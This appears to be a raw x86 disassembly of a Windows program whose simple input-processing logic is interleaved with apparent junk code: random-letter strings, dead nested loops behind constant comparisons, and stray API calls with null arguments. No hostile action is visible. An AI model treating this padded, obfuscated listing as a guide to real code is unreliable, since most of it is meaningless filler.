mov eax, dword [ebp - 0xd34]
inc eax
mov dword [ebp - 0xd34], eax
mov eax, dword [ebp - 0xd34]
cmp eax, dword [ebp - 0x13dc]
jge 0x4d1b86
push dword [ebp - 0xd34]
lea ecx, [ebp - 0x2c80]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d1b4b
and dword [ebp - 0x25e4], 0
lea eax, [ebp - 0x25e4]
push eax
push 0xc
lea ecx, [ebp - 0x2984]
call fcn.00417d23
and dword [ebp - 0x11b0], 0
and dword [ebp - 0x6b4], 0
jmp 0x4d1bbe
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
cmp eax, dword [ebp - 0x13dc]
jge 0x4d1d5f
push dword [ebp - 0x6b4]
lea ecx, [ebp - 0x2c80]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0xfe0], eax
mov eax, dword [ebp - 0x11b0]
mov dword [ebp - 0x25c], eax
and dword [ebp - 0x498], 0
mov dword [ebp - 0x8c], 0xb
jmp 0x4d1c15
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x25c]
add eax, dword [ebp - 0xfe0]
cmp eax, dword [ebp - 0x14c0]
jle 0x4d1d0e
cmp dword [ebp - 0x8c], 0
jle 0x4d1d0e
mov eax, dword [ebp - 0x25c]
add eax, dword [ebp - 0xfe0]
sub eax, dword [ebp - 0x14c0]
mov dword [ebp - 0x1974], eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x2984]
call fcn.00417bb8
mov ecx, dword [ebp - 0x8c]
imul ecx, dword [eax]
cmp dword [ebp - 0x1974], ecx
jle 0x4d1cbd
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x2984]
call fcn.00417bb8
mov ecx, dword [ebp - 0x498]
add ecx, dword [eax]
mov dword [ebp - 0x498], ecx
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x2984]
call fcn.00417bb8
mov ecx, dword [ebp - 0x8c]
imul ecx, dword [eax]
mov eax, dword [ebp - 0x25c]
sub eax, ecx
mov dword [ebp - 0x25c], eax
jmp 0x4d1d09
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x1974]
lea eax, [ecx + eax - 1]
cdq
idiv dword [ebp - 0x8c]
mov dword [ebp - 0x14c8], eax
mov eax, dword [ebp - 0x498]
add eax, dword [ebp - 0x14c8]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x14c8]
imul eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x25c]
sub ecx, eax
mov dword [ebp - 0x25c], ecx
jmp 0x4d1d0e
jmp 0x4d1c08
push dword [ebp - 0x498]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
push dword [ebp - 0xfe0]
lea ecx, [ebp - 0x2984]
call fcn.00417bb8
mov dword [ebp - 0x17a8], eax
mov eax, dword [ebp - 0x17a8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x17a8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x11b0]
add eax, dword [ebp - 0xfe0]
mov dword [ebp - 0x11b0], eax
jmp 0x4d1bb1
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2984]
call fcn.00417aef
lea ecx, [ebp - 0x2c80]
call fcn.00417aef
mov dword [ebp - 0x1bf4], str.rxbobpn_bnsiras_nxi_rasymwytv_diunkkrav_nnmclau_pgmyapa_dlpjur_bmwjot_jdfdwefp_lxepfohim_yevdcjfd_cavg
cmp dword [ebp - 0x17b0], 0x511a
jle 0x4d2381
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x1920], 0x2797
mov dword [ebp - 0x1bec], str.qxnyyhee_rhewkw_qbncpgap_cpudr_lov_btlgctp
cmp dword [ebp - 0x1920], 0x29f0
jle 0x4d21d0
and dword [ebp - 0xd3c], 0
jmp 0x4d1ddc
mov eax, dword [ebp - 0xd3c]
inc eax
mov dword [ebp - 0xd3c], eax
cmp dword [ebp - 0xd3c], 0x3073
jge 0x4d21c2
and dword [ebp - 0x6c4], 0
jmp 0x4d1e02
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0x7222
jge 0x4d21bd
mov dword [ebp - 0x1bd4], 0x1ade
cmp dword [ebp - 0x1bd4], 0x79a
jge 0x4d215c
mov dword [ebp - 0x2e4c], 0x3b
lea eax, [ebp - 0x14d0]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
lea ecx, [ebp - 0x1b4c]
call fcn.004179ca
and dword [ebp - 0x13d8], 0
jmp 0x4d1e6a
mov eax, dword [ebp - 0x13d8]
inc eax
mov dword [ebp - 0x13d8], eax
mov eax, dword [ebp - 0x13d8]
cmp eax, dword [ebp - 0x14d0]
jge 0x4d1e9f
lea eax, [ebp - 0x2978]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
lea eax, [ebp - 0x2978]
push eax
lea ecx, [ebp - 0x1b4c]
call fcn.00417a74
jmp 0x4d1e5d
lea eax, [ebp - 0x2ecc]
push eax
lea ecx, [ebp - 0x1b4c]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2e54]
push eax
lea ecx, [ebp - 0x1b4c]
call fcn.00417af4
push dword [eax]
call fcn.0041c23e
pop ecx
pop ecx
mov byte [ebp - 0x45], 0
lea ecx, [ebp - 0x2b28]
call fcn.004179ca
lea ecx, [ebp - 0x2ff4]
call fcn.004179ca
mov dword [ebp - 0x17c], 1
jmp 0x4d1f01
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
imul eax, dword [ebp - 0x17c], 3
cmp eax, 0x3b
jg 0x4d20d1
movzx eax, byte [ebp - 0x45]
test eax, eax
je 0x4d1f1e
jmp 0x4d20d1
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x368], eax
jmp 0x4d1f39
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0x17c]
shl eax, 1
cmp dword [ebp - 0x368], eax
jg 0x4d20cc
lea ecx, [ebp - 0x1a14]
call fcn.004179ca
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x1a14]
call fcn.00417a74
lea eax, [ebp - 0x368]
push eax
lea ecx, [ebp - 0x1a14]
call fcn.00417a74
mov eax, dword [ebp - 0x17c]
shl eax, 2
sub eax, dword [ebp - 0x368]
mov dword [ebp - 0x1bdc], eax
lea eax, [ebp - 0x1bdc]
push eax
lea ecx, [ebp - 0x1a14]
call fcn.00417a74
imul eax, dword [ebp - 0x17c], 3
mov dword [ebp - 0x25ec], eax
lea eax, [ebp - 0x25ec]
push eax
lea ecx, [ebp - 0x1a14]
call fcn.00417a74
push 4
lea ecx, [ebp - 0x1a94]
call fcn.004179d7
lea eax, [ebp - 0x2f28]
push eax
lea ecx, [ebp - 0x1a94]
call fcn.00417af4
push dword [eax]
lea eax, [ebp - 0x2e5c]
push eax
lea ecx, [ebp - 0x1b4c]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2ed4]
push eax
lea ecx, [ebp - 0x1b4c]
call fcn.00417af4
push dword [eax]
lea eax, [ebp - 0x2e90]
push eax
lea ecx, [ebp - 0x1a14]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2e9c]
push eax
lea ecx, [ebp - 0x1a14]
call fcn.00417af4
push dword [eax]
lea ecx, [ebp - 0x1be4]
call fcn.004eacbc
add esp, 0x14
lea eax, [ebp - 0x2ea8]
push eax
lea ecx, [ebp - 0x1a94]
call fcn.00417af4
push eax
lea ecx, [ebp - 0x1be4]
call fcn.00417c02
push eax
lea ecx, [ebp - 0x1a94]
call fcn.00417b11
lea ecx, [ebp - 0x1a94]
call fcn.00417baf
push 4
pop ecx
sub ecx, dword [ebp - 0x14d0]
cmp eax, ecx
jne 0x4d20b1
mov byte [ebp - 0x45], 1
lea eax, [ebp - 0x1a94]
push eax
lea ecx, [ebp - 0x2b28]
call fcn.004e9b3c
lea ecx, [ebp - 0x1a94]
call fcn.00417aef
lea ecx, [ebp - 0x1a14]
call fcn.00417aef
jmp 0x4d20cc
lea ecx, [ebp - 0x1a94]
call fcn.00417aef
lea ecx, [ebp - 0x1a14]
call fcn.00417aef
jmp 0x4d1f2c
jmp 0x4d1ef4
movzx eax, byte [ebp - 0x45]
test eax, eax
je 0x4d2130
push 0xab5934
call fcn.004f1b87
pop ecx
and dword [ebp - 0x6bc], 0
jmp 0x4d20fa
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
lea ecx, [ebp - 0x2b28]
call fcn.00417baf
cmp dword [ebp - 0x6bc], eax
jae 0x4d212e
push dword [ebp - 0x6bc]
lea ecx, [ebp - 0x2b28]
call fcn.00417bb8
push dword [eax]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d20ed
jmp 0x4d213b
push 0xab5938
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2ff4]
call fcn.00417aef
lea ecx, [ebp - 0x2b28]
call fcn.00417aef
lea ecx, [ebp - 0x1b4c]
call fcn.00417aef
and dword [ebp - 0xfe8], 0
jmp 0x4d2172
mov eax, dword [ebp - 0xfe8]
inc eax
mov dword [ebp - 0xfe8], eax
cmp dword [ebp - 0xfe8], 0x206f
jge 0x4d21b8
mov eax, dword [ebp - 0xd3c]
cdq
idiv dword [ebp - 0x6c4]
sub edx, dword [ebp - 0xfe8]
mov eax, edx
cdq
mov dword [ebp - 0x1ddc], eax
mov dword [ebp - 0x1dd8], edx
push dword [ebp - 0x1dd8]
push dword [ebp - 0x1ddc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d2165
jmp 0x4d1df5
jmp 0x4d1dcf
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
and dword [ebp - 0x6cc], 0
jmp 0x4d21e6
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0x3c0f
jge 0x4d2365
and dword [ebp - 0xd44], 0
jmp 0x4d220c
mov eax, dword [ebp - 0xd44]
inc eax
mov dword [ebp - 0xd44], eax
cmp dword [ebp - 0xd44], 0x3706
jge 0x4d2360
mov dword [ebp - 0x2870], 0x1de6
cmp dword [ebp - 0x2870], 0x4cf
jge 0x4d232a
push 0x2a64bcc
mov ecx, 0xac75e0
call fcn.00417279
and dword [ebp - 0x418], 0
jmp 0x4d225b
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x418]
cmp eax, dword [0x2a64bcc]
jge 0x4d2298
mov eax, dword [ebp - 0x418]
lea eax, [eax*4 + 0x2a02798]
push eax
mov eax, dword [ebp - 0x418]
lea eax, [eax*4 + 0x29a0c80]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
jmp 0x4d224e
cmp dword [0x2a64bcc], 2
jg 0x4d22bc
push fcn.0041c2ab
mov edx, 0xab5934
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
push 1
push 0
call fcn.004cba8e
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x4d22f2
push 2
push 0
call fcn.004cba8e
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x4d22f2
push 2
push 1
call fcn.004cba8e
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x4d230f
push fcn.0041c2ab
mov edx, 0xab5934
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4d232a
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
mov eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0xd44]
shl eax, cl
cdq
mov dword [ebp - 0x1de8], eax
mov dword [ebp - 0x1de4], edx
push dword [ebp - 0x1de4]
push dword [ebp - 0x1de8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d21ff
jmp 0x4d21d9
cmp dword [ebp - 0x1920], 0x272b
jge 0x4d2381
mov edx, dword [ebp - 0x1bec]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x14d8], 0x5f57
jge 0x4d2399
push dword [ebp - 0x25f4]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x17b0], 0x4a11
jge 0x4d23b5
mov edx, dword [ebp - 0x1bf4]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1964], 0
je 0x4e1932
cmp dword [ebp - 0x1760], 1
jle 0x4e1932
mov dword [ebp - 0x14e0], 0x1db1
mov dword [ebp - 0x2a60], str.empyon_easrtcwk_pnevchw_ctuwfyul_gibgtkrcj_tdkmvoh_pisyxpjj_gtu
cmp dword [ebp - 0x14e0], 0x20ab
jle 0x4d2489
and dword [ebp - 0x6d4], 0
jmp 0x4d2409
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 0x7055
jge 0x4d2489
and dword [ebp - 0xff0], 0
jmp 0x4d242b
mov eax, dword [ebp - 0xff0]
inc eax
mov dword [ebp - 0xff0], eax
cmp dword [ebp - 0xff0], 0x35ba
jge 0x4d2484
mov eax, dword [ebp - 0x6d4]
xor eax, dword [ebp - 0xff0]
cdq
mov dword [ebp - 0x1df4], eax
mov dword [ebp - 0x1df0], edx
push dword [ebp - 0x1df0]
push dword [ebp - 0x1df4]
lea ecx, [ebp - 0x32b8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x32b8]
call fcn.00401711
jmp 0x4d241e
jmp 0x4d23fc
cmp dword [ebp - 0x14e0], 0x1b33
jge 0x4d24a1
push dword [ebp - 0x2a60]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1728], 0x5349
mov dword [ebp - 0x27a8], str.lehnk_aenikarx_coo_jtvwpab
mov dword [ebp - 0x1518], 0x4783
mov dword [ebp - 0x2998], str.jcdnvh_dmrioqvvh_vlwqdpv_gkpnr_djevtdgyo_sxly
cmp dword [ebp - 0x1518], 0x4848
jle 0x4d25d7
and dword [ebp - 0x6dc], 0
jmp 0x4d24ef
mov eax, dword [ebp - 0x6dc]
inc eax
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 0x79f1
jge 0x4d25d7
and dword [ebp - 0xd4c], 0
jmp 0x4d2515
mov eax, dword [ebp - 0xd4c]
inc eax
mov dword [ebp - 0xd4c], eax
cmp dword [ebp - 0xd4c], 0x7ff2
jge 0x4d25d2
and dword [ebp - 0x6e4], 0
jmp 0x4d253b
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0x7787
jge 0x4d25cd
and dword [ebp - 0xff8], 0
jmp 0x4d2561
mov eax, dword [ebp - 0xff8]
inc eax
mov dword [ebp - 0xff8], eax
cmp dword [ebp - 0xff8], 0x70b1
jge 0x4d25c8
mov eax, dword [ebp - 0x6dc]
add eax, dword [ebp - 0xd4c]
mov ecx, dword [ebp - 0x6e4]
sub ecx, dword [ebp - 0xff8]
xor eax, ecx
cdq
mov dword [ebp - 0x1e00], eax
mov dword [ebp - 0x1dfc], edx
push dword [ebp - 0x1dfc]
push dword [ebp - 0x1e00]
lea ecx, [ebp - 0x3a50]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3a50]
call fcn.00401711
jmp 0x4d2554
jmp 0x4d252e
jmp 0x4d2508
jmp 0x4d24e2
cmp dword [ebp - 0x1728], 0x54b1
jle 0x4d3b07
mov dword [ebp - 0x1938], 0x7331
mov dword [ebp - 0x17b8], 0xe36
mov dword [ebp - 0x197c], 0x3d8f
mov dword [ebp - 0x25fc], str.bkhpk_nssomjjx_dxkttuwti_ktg_vdicfcua_dqmcsusa_hfvrn_hhpmidh_uevb_vpvdynstq
mov dword [ebp - 0x1bfc], 0x1aca
cmp dword [ebp - 0x1bfc], 0x7b2
jge 0x4d2714
lea eax, [ebp - 0x6f4]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
imul eax, dword [ebp - 0x6f4], 3
cdq
sub eax, edx
sar eax, 1
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
mov dword [ebp - 0x6ec], 2
jmp 0x4d266f
mov eax, dword [ebp - 0x6ec]
inc eax
inc eax
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebp - 0x6ec]
cmp eax, dword [ebp - 0x6f4]
jg 0x4d2691
push dword [ebp - 0x6ec]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d2661
mov dword [ebp - 0xd54], 1
jmp 0x4d26ab
mov eax, dword [ebp - 0xd54]
inc eax
inc eax
mov dword [ebp - 0xd54], eax
mov eax, dword [ebp - 0xd54]
cmp eax, dword [ebp - 0x6f4]
jg 0x4d26cd
push dword [ebp - 0xd54]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d269d
mov dword [ebp - 0x1000], 2
jmp 0x4d26e7
mov eax, dword [ebp - 0x1000]
inc eax
inc eax
mov dword [ebp - 0x1000], eax
mov eax, dword [ebp - 0x1000]
cmp eax, dword [ebp - 0x6f4]
jg 0x4d2709
push dword [ebp - 0x1000]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d26d9
push 0xab559b
call fcn.004f1b87
pop ecx
cmp dword [ebp - 0x197c], 0x3e96
jle 0x4d27eb
and dword [ebp - 0x6fc], 0
jmp 0x4d273a
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0x37e6
jge 0x4d27eb
and dword [ebp - 0xd5c], 0
jmp 0x4d2760
mov eax, dword [ebp - 0xd5c]
inc eax
mov dword [ebp - 0xd5c], eax
cmp dword [ebp - 0xd5c], 0x38d
jge 0x4d27e6
and dword [ebp - 0x704], 0
jmp 0x4d2782
mov eax, dword [ebp - 0x704]
inc eax
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 0x2ea3
jge 0x4d27e1
mov eax, dword [ebp - 0x6fc]
sub eax, dword [ebp - 0xd5c]
add eax, dword [ebp - 0x704]
cdq
mov dword [ebp - 0x1e0c], eax
mov dword [ebp - 0x1e08], edx
push dword [ebp - 0x1e08]
push dword [ebp - 0x1e0c]
lea ecx, [ebp - 0x32e8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x32e8]
call fcn.00401711
jmp 0x4d2775
jmp 0x4d2753
jmp 0x4d272d
mov dword [ebp - 0x2988], str.tfgurm_unej_whchfqhtg_goxpdbge_alrvvk_pjjmouyaa
cmp dword [ebp - 0x197c], 0x39b2
jge 0x4d280d
push dword [ebp - 0x25fc]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x17b8], 0x1179
jle 0x4d2c18
and dword [ebp - 0xd6c], 0
jmp 0x4d2833
mov eax, dword [ebp - 0xd6c]
inc eax
mov dword [ebp - 0xd6c], eax
cmp dword [ebp - 0xd6c], 0x20c2
jge 0x4d2c0c
and dword [ebp - 0x714], 0
jmp 0x4d2859
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 0x1abc
jge 0x4d2c07
and dword [ebp - 0x1010], 0
jmp 0x4d287f
mov eax, dword [ebp - 0x1010]
inc eax
mov dword [ebp - 0x1010], eax
cmp dword [ebp - 0x1010], 0x3a82
jge 0x4d2c02
and dword [ebp - 0x71c], 0
jmp 0x4d28a5
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 0x6a85
jge 0x4d2bfd
mov dword [ebp - 0x14e8], 0x7b89
mov dword [ebp - 0x2604], str.xxcqah_qhqapp_lhig
cmp dword [ebp - 0x14e8], 0x7f66
jle 0x4d2982
and dword [ebp - 0xd64], 0
jmp 0x4d28ef
mov eax, dword [ebp - 0xd64]
inc eax
mov dword [ebp - 0xd64], eax
cmp dword [ebp - 0xd64], 0x4499
jge 0x4d2982
and dword [ebp - 0x1008], 0
jmp 0x4d2915
mov eax, dword [ebp - 0x1008]
inc eax
mov dword [ebp - 0x1008], eax
cmp dword [ebp - 0x1008], 0x3b9
jge 0x4d297d
and dword [ebp - 0x70c], 0
jmp 0x4d2937
mov eax, dword [ebp - 0x70c]
inc eax
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0x62e1
jge 0x4d297b
mov eax, dword [ebp - 0x1008]
imul eax, dword [ebp - 0x70c]
xor eax, dword [ebp - 0xd64]
cdq
mov dword [ebp - 0x1e18], eax
mov dword [ebp - 0x1e14], edx
push dword [ebp - 0x1e14]
push dword [ebp - 0x1e18]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d292a
jmp 0x4d2908
jmp 0x4d28e2
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x1010]
sar eax, cl
mov ecx, dword [ebp - 0x71c]
shl eax, cl
xor eax, dword [ebp - 0xd6c]
cdq
mov dword [ebp - 0x1e24], eax
mov dword [ebp - 0x1e20], edx
mov dword [ebp - 0x1c04], 0x1e54
cmp dword [ebp - 0x1c04], 0x10ec
jge 0x4d2baa
call fcn.004f12b6
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0xab59f4
push str.in.txt
call fcn.004f1af8
add esp, 0xc
call fcn.004f12b6
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0xab5f10
push str.out.txt
call fcn.004f1af8
add esp, 0xc
lea eax, [ebp - 0x2878]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x11b8], 0
jmp 0x4d2a2e
mov eax, dword [ebp - 0x11b8]
inc eax
mov dword [ebp - 0x11b8], eax
mov eax, dword [ebp - 0x11b8]
cmp eax, dword [ebp - 0x2878]
jge 0x4d2baa
lea eax, [ebp - 0x1c0c]
push eax
lea eax, [ebp - 0x470]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x370], 0
jmp 0x4d2a71
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x370]
cmp eax, dword [ebp - 0x470]
jge 0x4d2aa9
mov eax, dword [ebp - 0x370]
lea eax, [ebp + eax*4 - 0x4284]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x370]
mov byte [ebp + eax - 0x31c8], 0
jmp 0x4d2a64
and dword [ebp - 0x724], 0
and dword [ebp - 0x12f8], 0
mov eax, dword [ebp - 0x1c0c]
movzx eax, byte [ebp + eax - 0x31c8]
test eax, eax
jne 0x4d2b93
or dword [ebp - 0x378], 0xffffffff
mov eax, dword [ebp - 0x12f8]
inc eax
mov dword [ebp - 0x12f8], eax
and dword [ebp - 0x2cc], 0
jmp 0x4d2af7
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [ebp - 0x470]
jge 0x4d2b74
mov eax, dword [ebp - 0x724]
add eax, dword [ebp - 0x2cc]
cdq
idiv dword [ebp - 0x470]
movzx eax, byte [ebp + edx - 0x31c8]
test eax, eax
jne 0x4d2b6f
cmp dword [ebp - 0x378], 0xffffffff
je 0x4d2b56
mov eax, dword [ebp - 0x724]
add eax, dword [ebp - 0x2cc]
cdq
idiv dword [ebp - 0x470]
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp + edx*4 - 0x4284]
cmp ecx, dword [ebp + eax*4 - 0x4284]
jle 0x4d2b6f
mov eax, dword [ebp - 0x724]
add eax, dword [ebp - 0x2cc]
cdq
idiv dword [ebp - 0x470]
mov dword [ebp - 0x378], edx
jmp 0x4d2aea
mov eax, dword [ebp - 0x378]
mov byte [ebp + eax - 0x31c8], 1
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x724], eax
jmp 0x4d2ab7
push dword [ebp - 0x12f8]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d2a21
cmp dword [ebp - 0x14e8], 0x78ea
jge 0x4d2bc6
mov edx, dword [ebp - 0x2604]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x1e20]
push dword [ebp - 0x1e24]
lea ecx, [ebp - 0x3888]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3888]
call fcn.00401711
jmp 0x4d2898
jmp 0x4d2872
jmp 0x4d284c
jmp 0x4d2826
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnableScrollBar]
mov dword [ebp - 0x1c6c], str.nfmiptqym_kyhu_djlndlyq_urcsykis_luyueriv_ucspbs_dsf_xjqgux_sbi_hmvgkd_ojwxna_oub_ropw_mynv
cmp dword [ebp - 0x17b8], 0xcf0
jge 0x4d2e3f
mov dword [ebp - 0x14f0], 0x5fb9
mov dword [ebp - 0x1c1c], str.mmyepyg_hrtcddhn_bdlfpladu_lyhwuxgk_tcgwtngg_knj_kfise_yphsk
cmp dword [ebp - 0x14f0], 0x62c8
jle 0x4d2e1b
mov dword [ebp - 0x1c14], 0x17c6
cmp dword [ebp - 0x1c14], 0x44d
jge 0x4d2d54
lea ecx, [ebp - 0x2b40]
call fcn.004016ac
lea edx, [ebp - 0x2b40]
mov ecx, 0xac75e0
call fcn.0041c6ac
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x2b40]
push eax
call fcn.00417118
lea ecx, [ebp - 0x3318]
call fcn.00401e3c
add esp, 0x18
push eax
lea ecx, [ebp - 0x2b40]
call fcn.004016ec
lea ecx, [ebp - 0x3318]
call fcn.00401711
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x2b40]
push eax
call fcn.00417118
lea ecx, [ebp - 0x3a80]
call fcn.00401550
add esp, 0x18
push eax
lea ecx, [ebp - 0x2b40]
call fcn.004016ec
lea ecx, [ebp - 0x3a80]
call fcn.00401711
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x2b40]
push eax
call fcn.00417118
lea ecx, [ebp - 0x3348]
call fcn.00401607
add esp, 0x18
push eax
lea ecx, [ebp - 0x2b40]
call fcn.004016ec
lea ecx, [ebp - 0x3348]
call fcn.00401711
push fcn.0041c2ab
lea edx, [ebp - 0x2b40]
mov ecx, 0xac7538
call fcn.0041c74b
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x2b40]
call fcn.00401711
and dword [ebp - 0x1018], 0
jmp 0x4d2d6a
mov eax, dword [ebp - 0x1018]
inc eax
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0x6ac2
jge 0x4d2e1b
and dword [ebp - 0x72c], 0
jmp 0x4d2d90
mov eax, dword [ebp - 0x72c]
inc eax
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 0x5b26
jge 0x4d2e16
and dword [ebp - 0xd74], 0
jmp 0x4d2db2
mov eax, dword [ebp - 0xd74]
inc eax
mov dword [ebp - 0xd74], eax
cmp dword [ebp - 0xd74], 0x4b52
jge 0x4d2e11
mov eax, dword [ebp - 0x1018]
sub eax, dword [ebp - 0x72c]
or eax, dword [ebp - 0xd74]
cdq
mov dword [ebp - 0x1e30], eax
mov dword [ebp - 0x1e2c], edx
push dword [ebp - 0x1e2c]
push dword [ebp - 0x1e30]
lea ecx, [ebp - 0x38b8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x38b8]
call fcn.00401711
jmp 0x4d2da5
jmp 0x4d2d83
jmp 0x4d2d5d
push dword [ebp - 0x2988]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x14f0], 0x5f18
jge 0x4d2e3f
push dword [ebp - 0x1c1c]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1938], 0x768b
jle 0x4d3611
mov dword [ebp - 0x17c8], 0xeba
mov dword [ebp - 0x1c54], str.jxr_rynuicawg_nytvds_vfsqf_fmc_ythtmywge_rtqcl_rbtfe_ukqfc_ecndhvvvm_fabc_xqdt_hvagecia
mov dword [ebp - 0x1984], 0x4382
mov dword [ebp - 0x1c48], str.asneseoqh_piibd_xixsen_mkuexc_erk_mdcio_vtaqrflbv_nxdayokvf_mlejqmo_cti_wnrqsrmjt
mov dword [ebp - 0x260c], 0x230a
cmp dword [ebp - 0x260c], 0x6e0
jge 0x4d2fa9
lea eax, [ebp - 0x11c0]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
lea ecx, [ebp - 0x2bd8]
call fcn.004e9dc5
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x11c0]
mov dword [ebp - 0x1c24], eax
mov eax, dword [ebp - 0x11c0]
dec eax
mov dword [ebp - 0x11c0], eax
cmp dword [ebp - 0x1c24], 0
je 0x4d2f8c
lea eax, [ebp - 0x13bc]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
lea ecx, [ebp - 0x2bd8]
call fcn.004cb0a0
movzx eax, al
test eax, eax
jne 0x4d2f75
lea ecx, [ebp - 0x2bd8]
call fcn.004e9dfb
